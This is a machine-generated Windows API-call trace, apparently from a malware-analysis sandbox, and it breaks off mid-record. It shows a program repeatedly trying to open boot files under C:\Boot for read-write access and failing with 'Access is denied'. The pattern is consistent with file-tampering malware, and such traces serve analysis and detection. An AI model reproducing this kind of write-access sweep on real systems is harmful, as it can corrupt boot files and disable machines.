lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.196] lstrlenW (lpString="CreateFile") returned 10 [0115.196] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.196] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.196] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.196] lstrlenW (lpString="5") returned 1 [0115.196] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.196] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.196] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.196] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.196] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.196] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.196] LocalFree (hMem=0x65ded8) returned 0x0 [0115.196] LocalFree (hMem=0x2568430) returned 0x0 [0115.196] GetLastError () returned 0x5 [0115.196] SetLastError (dwErrCode=0x5) [0115.196] GetLastError () returned 0x5 [0115.196] SetLastError (dwErrCode=0x5) [0115.196] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.197] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.197] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.197] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.197] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.197] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.197] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.197] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.197] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.197] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.197] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.197] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.197] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.197] GetLastError () returned 0x5 [0115.197] SetLastError (dwErrCode=0x5) [0115.198] GetLastError () returned 0x5 [0115.198] SetLastError (dwErrCode=0x5) [0115.198] GetLastError () returned 0x5 [0115.198] SetLastError (dwErrCode=0x5) [0115.198] GetLastError () returned 0x5 [0115.198] SetLastError (dwErrCode=0x5) [0115.198] GetLastError () returned 0x5 [0115.198] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.198] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.198] lstrlenW (lpString="CreateFile") returned 10 [0115.198] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.198] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.198] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.198] lstrlenW (lpString="5") returned 1 [0115.198] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.198] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.198] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.198] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.198] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.198] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.198] LocalFree (hMem=0x65ded8) returned 0x0 [0115.198] LocalFree (hMem=0x2568430) returned 0x0 [0115.198] GetLastError () returned 0x5 [0115.198] SetLastError (dwErrCode=0x5) [0115.198] GetLastError () returned 0x5 [0115.198] SetLastError (dwErrCode=0x5) [0115.198] GetLastError () returned 0x5 [0115.198] SetLastError (dwErrCode=0x5) [0115.198] GetLastError () returned 0x5 [0115.199] SetLastError (dwErrCode=0x5) [0115.199] GetLastError () returned 0x5 [0115.199] SetLastError (dwErrCode=0x5) [0115.199] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.199] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.200] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.200] GetLastError () returned 0x5 [0115.200] SetLastError (dwErrCode=0x5) [0115.200] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.200] GetLastError () returned 0x5 [0115.200] SetLastError (dwErrCode=0x5) [0115.200] GetLastError () returned 0x5 [0115.200] SetLastError (dwErrCode=0x5) [0115.200] GetLastError () returned 0x5 [0115.200] SetLastError (dwErrCode=0x5) [0115.200] GetLastError () returned 0x5 [0115.200] SetLastError (dwErrCode=0x5) [0115.200] GetLastError () returned 0x5 [0115.200] SetLastError (dwErrCode=0x5) [0115.200] GetLastError () returned 0x5 [0115.201] SetLastError (dwErrCode=0x5) [0115.201] GetLastError () returned 0x5 [0115.201] SetLastError (dwErrCode=0x5) [0115.201] GetLastError () returned 0x5 [0115.201] SetLastError (dwErrCode=0x5) [0115.201] GetLastError () returned 0x5 [0115.201] SetLastError (dwErrCode=0x5) [0115.201] GetLastError () returned 0x5 [0115.201] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.201] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.201] lstrlenW (lpString="CreateFile") returned 10 [0115.201] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.201] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.201] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.201] lstrlenW (lpString="5") returned 1 [0115.201] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.201] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.201] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.201] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.201] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.201] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.201] LocalFree (hMem=0x65ded8) returned 0x0 [0115.201] LocalFree (hMem=0x2568430) returned 0x0 [0115.201] GetLastError () returned 0x5 [0115.201] SetLastError (dwErrCode=0x5) [0115.201] GetLastError () returned 0x5 [0115.201] SetLastError (dwErrCode=0x5) [0115.201] GetLastError () returned 0x5 [0115.201] SetLastError (dwErrCode=0x5) [0115.201] GetLastError () returned 0x5 [0115.201] SetLastError (dwErrCode=0x5) [0115.201] GetLastError () returned 0x5 [0115.201] SetLastError (dwErrCode=0x5) [0115.201] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.202] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.202] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.202] GetLastError () returned 0x5 [0115.202] SetLastError (dwErrCode=0x5) [0115.202] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.202] GetLastError () returned 0x5 [0115.202] SetLastError (dwErrCode=0x5) [0115.202] GetLastError () returned 0x5 [0115.202] SetLastError (dwErrCode=0x5) [0115.202] GetLastError () returned 0x5 [0115.202] SetLastError (dwErrCode=0x5) [0115.202] GetLastError () returned 0x5 [0115.202] SetLastError (dwErrCode=0x5) [0115.202] GetLastError () returned 0x5 [0115.202] SetLastError (dwErrCode=0x5) [0115.202] GetLastError () returned 0x5 [0115.202] SetLastError (dwErrCode=0x5) [0115.202] GetLastError () returned 0x5 [0115.202] SetLastError (dwErrCode=0x5) [0115.202] GetLastError () returned 0x5 [0115.202] SetLastError (dwErrCode=0x5) [0115.203] GetLastError () returned 0x5 [0115.203] SetLastError (dwErrCode=0x5) [0115.203] GetLastError () returned 0x5 [0115.203] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.203] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.203] lstrlenW (lpString="CreateFile") returned 10 [0115.203] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.203] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.203] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.203] lstrlenW (lpString="5") returned 1 [0115.203] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.203] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.203] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.203] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.203] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.203] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.203] LocalFree (hMem=0x65ded8) returned 0x0 [0115.203] LocalFree (hMem=0x2568430) returned 0x0 [0115.203] GetLastError () returned 0x5 [0115.203] SetLastError (dwErrCode=0x5) [0115.203] GetLastError () returned 0x5 [0115.203] SetLastError (dwErrCode=0x5) [0115.203] GetLastError () returned 0x5 [0115.203] SetLastError (dwErrCode=0x5) [0115.203] GetLastError () returned 0x5 [0115.203] SetLastError (dwErrCode=0x5) [0115.203] GetLastError () returned 0x5 [0115.203] SetLastError (dwErrCode=0x5) [0115.203] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.204] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.204] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.204] GetLastError () returned 0x5 [0115.204] SetLastError (dwErrCode=0x5) [0115.204] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.204] GetLastError () returned 0x5 [0115.204] SetLastError (dwErrCode=0x5) [0115.204] GetLastError () returned 0x5 [0115.204] SetLastError (dwErrCode=0x5) [0115.204] GetLastError () returned 0x5 [0115.204] SetLastError (dwErrCode=0x5) [0115.204] GetLastError () returned 0x5 [0115.204] SetLastError (dwErrCode=0x5) [0115.204] GetLastError () returned 0x5 [0115.204] SetLastError (dwErrCode=0x5) [0115.204] GetLastError () returned 0x5 [0115.204] SetLastError (dwErrCode=0x5) [0115.204] GetLastError () returned 0x5 [0115.204] SetLastError (dwErrCode=0x5) [0115.204] GetLastError () returned 0x5 [0115.204] SetLastError (dwErrCode=0x5) [0115.205] GetLastError () returned 0x5 [0115.205] SetLastError (dwErrCode=0x5) [0115.205] GetLastError () returned 0x5 [0115.205] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.205] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.205] lstrlenW (lpString="CreateFile") returned 10 [0115.205] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.205] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.205] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.205] lstrlenW (lpString="5") returned 1 [0115.205] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.205] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.205] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.205] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.205] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.205] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.205] LocalFree (hMem=0x65ded8) returned 0x0 [0115.205] LocalFree (hMem=0x2568430) returned 0x0 [0115.205] GetLastError () returned 0x5 [0115.205] SetLastError (dwErrCode=0x5) [0115.205] GetLastError () returned 0x5 [0115.205] SetLastError (dwErrCode=0x5) [0115.205] GetLastError () returned 0x5 [0115.205] SetLastError (dwErrCode=0x5) [0115.205] GetLastError () returned 0x5 [0115.205] SetLastError (dwErrCode=0x5) [0115.205] GetLastError () returned 0x5 [0115.205] SetLastError (dwErrCode=0x5) [0115.206] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.206] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.206] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.206] GetLastError () returned 0x5 [0115.206] SetLastError (dwErrCode=0x5) [0115.206] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.206] GetLastError () returned 0x5 [0115.206] SetLastError (dwErrCode=0x5) [0115.206] GetLastError () returned 0x5 [0115.206] SetLastError (dwErrCode=0x5) [0115.206] GetLastError () returned 0x5 [0115.206] SetLastError (dwErrCode=0x5) [0115.206] GetLastError () returned 0x5 [0115.206] SetLastError (dwErrCode=0x5) [0115.206] GetLastError () returned 0x5 [0115.206] SetLastError (dwErrCode=0x5) [0115.206] GetLastError () returned 0x5 [0115.206] SetLastError (dwErrCode=0x5) [0115.206] GetLastError () returned 0x5 [0115.206] SetLastError (dwErrCode=0x5) [0115.207] GetLastError () returned 0x5 [0115.207] SetLastError (dwErrCode=0x5) [0115.207] GetLastError () returned 0x5 [0115.207] SetLastError (dwErrCode=0x5) [0115.207] GetLastError () returned 0x5 [0115.207] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.207] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.207] lstrlenW (lpString="CreateFile") returned 10 [0115.207] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.207] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.207] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.207] lstrlenW (lpString="5") returned 1 [0115.207] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.207] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.207] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.207] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.207] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.207] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.207] LocalFree (hMem=0x65ded8) returned 0x0 [0115.207] LocalFree (hMem=0x2568430) returned 0x0 [0115.207] GetLastError () returned 0x5 [0115.207] SetLastError (dwErrCode=0x5) [0115.207] GetLastError () returned 0x5 [0115.207] SetLastError (dwErrCode=0x5) [0115.207] GetLastError () returned 0x5 [0115.207] SetLastError (dwErrCode=0x5) [0115.207] GetLastError () returned 0x5 [0115.207] SetLastError (dwErrCode=0x5) [0115.207] GetLastError () returned 0x5 [0115.208] SetLastError (dwErrCode=0x5) [0115.208] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.208] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.208] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.208] GetLastError () returned 0x5 [0115.208] SetLastError (dwErrCode=0x5) [0115.208] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.208] GetLastError () returned 0x5 [0115.208] SetLastError (dwErrCode=0x5) [0115.208] GetLastError () returned 0x5 [0115.208] SetLastError (dwErrCode=0x5) [0115.208] GetLastError () returned 0x5 [0115.208] SetLastError (dwErrCode=0x5) [0115.208] GetLastError () returned 0x5 [0115.208] SetLastError (dwErrCode=0x5) [0115.208] GetLastError () returned 0x5 [0115.208] SetLastError (dwErrCode=0x5) [0115.208] GetLastError () returned 0x5 [0115.208] SetLastError (dwErrCode=0x5) [0115.208] GetLastError () returned 0x5 [0115.208] SetLastError (dwErrCode=0x5) [0115.208] GetLastError () returned 0x5 [0115.209] SetLastError (dwErrCode=0x5) [0115.209] GetLastError () returned 0x5 [0115.209] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.209] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.209] lstrlenW (lpString="5") returned 1 [0115.209] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.209] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.209] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.209] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.209] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.209] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.209] LocalFree (hMem=0x65ded8) returned 0x0 [0115.209] LocalFree (hMem=0x2568430) returned 0x0 [0115.209] GetLastError () returned 0x5 [0115.210] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.210] GetLastError () returned 0x5 [0115.210] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.210] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.210] lstrlenW (lpString="5") returned 1 [0115.210] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.210] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.210] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.210] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.210] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.210] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.210] LocalFree (hMem=0x65ded8) returned 0x0 [0115.210] LocalFree (hMem=0x2568430) returned 0x0 [0115.210] GetLastError () returned 0x5 [0115.211] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.211] GetLastError () returned 0x5 [0115.211] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.211] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.211] lstrlenW (lpString="5") returned 1 [0115.211] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.211] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.211] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.211] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.211] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.211] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.211] LocalFree (hMem=0x65ded8) returned 0x0 [0115.211] LocalFree (hMem=0x2568430) returned 0x0 [0115.211] GetLastError () returned 0x5 [0115.211] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.211] GetLastError () returned 0x5 [0115.211] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.211] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.211] lstrlenW (lpString="5") returned 1 [0115.211] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.211] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.211] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.211] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.211] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.211] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.212] LocalFree (hMem=0x65ded8) 